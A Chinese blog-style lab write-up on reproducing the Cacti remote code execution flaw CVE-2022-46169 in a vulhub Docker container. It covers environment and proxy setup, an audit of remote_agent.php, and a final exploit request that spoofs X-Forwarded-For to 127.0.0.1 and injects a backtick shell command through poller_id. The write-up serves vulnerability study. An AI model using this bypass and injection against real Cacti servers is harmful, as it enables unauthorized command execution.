cacti的RCE

发布于:2025-08-01 ⋅ 阅读:(19) ⋅ 点赞:(0)

一、环境搭建

1、安装docker

curl -fsSL https://get.docker.com | sh

验证docker是否正确安装

docker version

验证docker compose是否可用

docker compose version

2、在GitHub上拉取 vulhub

首先先装一个proxychains网络代理工具,如果直接拉取的话速度会很慢,甚至拉去不下来,用proxychains这个代理工具会快很多

apt-get install proxychains

进入vim  etc/prioxychains.conf编辑

改为自己物理机的IP和代理工具的端口

从GtiHub上用proxychains拉取vulhub

 proxychains git clone https://github.com/vulhub/vulhub

下载成功后进入到/vulhub/cacti/CVE-2022-46169这个目录下

cd /vulhub/cacti/CVE-2022-46169

启动容器

docker compose up -d

在浏览器输入127.0.0.1 8080 环境搭建成功

开始安装,全部下一步就可以

创建一个图表

二、docker compose up -d网络报错的问题

1、调整自己代理工具端口,让三个端口全部打开,混合端口和proxychains.conf中的要一致

2、创建 Docker 代理配置目录(如果不存在):

sudo mkdir -p /etc/systemd/system/docker.service.d

3、创建代理配置文件

sudo nano /etc/systemd/system/docker.service.d/http-proxy.conf

4、写入以下内容(根据你的代理地址修改)

192.168.1.4:7890为物理机IP和代理端口

[Service]
Environment="HTTP_PROXY=http://192.168.1.4:7890"
Environment="HTTPS_PROXY=http://192.168.1.4:7890"
Environment="NO_PROXY=localhost,127.0.0.1"

5、重新加载 systemd 并重启 Docker

sudo systemctl daemon-reexec
sudo systemctl daemon-reload
sudo systemctl restart docker

6、验证 Docker 是否已使用代理

sudo systemctl show --property=Environment docker

7、重新运行   

docker compose up -d

三、 代码审计

文件:remote_agent.php

跟进 remote_client_authorized() → 看 如何取客户端 IP

if (!remote_client_authorized()) {
    print 'FATAL: You are not authorized to use this service';
    exit;
}

文件:lib/functions.php 中的 get_client_addr()

结论:只要我们在 HTTP 头里带上X-Forwarded-For: 127.0.0.1,get_client_addr() 就会返回 127.0.0.1,而不会继续看真正的 REMOTE_ADDR。

function get_client_addr() {
    
    if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return trim(array_shift(explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])));
    }
    
    return $_SERVER['REMOTE_ADDR'];
}

文件:remote_agent.php

文件:remote_agent.php

默认安装后表里正好有127.0.0.1,于是 校验通过 → remote_client_authorized() 返回 true

switch (get_request_var('action')) {

    case 'polldata':
        poll_for_data(); // 我们的目标函数
        break;

}

poll_for_data() 关键片段

文件:remote_agent.php:232-234

get_nfilter_request_var 就是 $_GET[$key] 原样返回,没有任何过滤。

$local_data_ids = get_nfilter_request_var('local_data_ids');
$host_id        = get_filter_request_var('host_id');
$poller_id      = get_nfilter_request_var('poller_id');   //可被注入

文件:poll_for_data() 

/script_server.php realtime <poller_id> 这条命令里,$poller_id 就是可控字符串。

case POLLER_ACTION_SCRIPT_PHP:      // action = 2
    $cactiphp = proc_open(
        read_config_option('path_php_binary') .
        ' -q ' .
        $config['base_path'] . '/script_server.php realtime ' .
        $poller_id,          //直接拼接
        $cactides,
        $pipes
    );

经过数据库查看,发现id=6时action=2,如果action=2则可以通过BurpSuite抓包写入文件

"X-Forwarded-For: 127.0.0.1" 
/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch /tmp/pwned`"


网站公告

今日签到

点亮在社区的每一天
去签到